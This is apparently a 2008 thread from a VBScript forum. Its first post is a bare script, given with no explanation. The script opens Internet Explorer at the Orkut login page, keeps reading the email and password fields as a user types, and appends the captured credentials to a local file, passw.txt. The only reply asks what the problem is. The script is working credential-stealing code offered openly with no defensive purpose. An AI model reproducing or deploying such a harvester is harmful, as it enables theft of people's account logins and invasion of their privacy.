ORKUT FILE

Forums

My Profile

Inbox

Address Book

My Subscription

My Forums

ORKUT FILE

Logged in as: Guest

arrSession:exec spGetSession 2,2,59608

	Active Users: There are 0 members and 0 guests.
	Users viewing this topic: none

Printable Version

All Forums >> [Scripting] >> WSH & Client Side VBScript >> ORKUT FILE
Do you like VisualBasicScript.com? Link to us and help spread the word about our forum. Thanks!

Page: [1]

Message

<< Older Topic Newer Topic >>

ORKUT FILE - 4/29/2008 12:11:28 AM

babai

Posts: 2
Score: 0
Joined: 4/28/2008
Status: offline

set oie=createobject("internetexplorer.application")
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile("passw.txt",8)
oie.navigate "http://www.orkut.com/"
oie.visible=1
do while(oie.busy)
loop
do
wscript.sleep 200
on error resume next
pass=oie.document.getElementById("Passwd").value
do until(pass<>"")
oie.document.getElementById("Passwd").focus()
pass=oie.document.getElementById("Passwd").value
loop
name=oie.document.getElementById("Email").value
if err then wscript.quit
do while(name="" or pass="")
name=oie.document.getElementById("Email").value
pass=oie.document.getElementById("Passwd").value
loop
wscript.sleep 1000
pa=oie.document.getElementById("Passwd").value
do until(len(pa)=len(pass))
pass=oie.document.getElementById("Passwd").value
wscript.sleep 500
pa=oie.document.getElementById("Passwd").value
if(len(pa)>=len(pass))then
pass=pa
end if
loop
'msgbox(name&" "&pass)
up="user: "&name&" "&"pas:"&pass&vbcrlf
file.writeline(up)
file.close
loop

Post #: 1

RE: ORKUT FILE - 4/29/2008 1:49:38 AM

dm_4ever

Posts: 2414
Score: 38
Joined: 6/29/2006
From: Orange County, California
Status: offline

What's the problem?

_____________________________

dm_4ever

My philosophy: K.I.S.S - Keep It Simple Stupid
Read Me: http://www.visualbasicscript.com/m_24727/tm.htm
Frequently Asked Stuff: http://www.visualbasicscript.com/m_47117/tm.htm

(in reply to babai)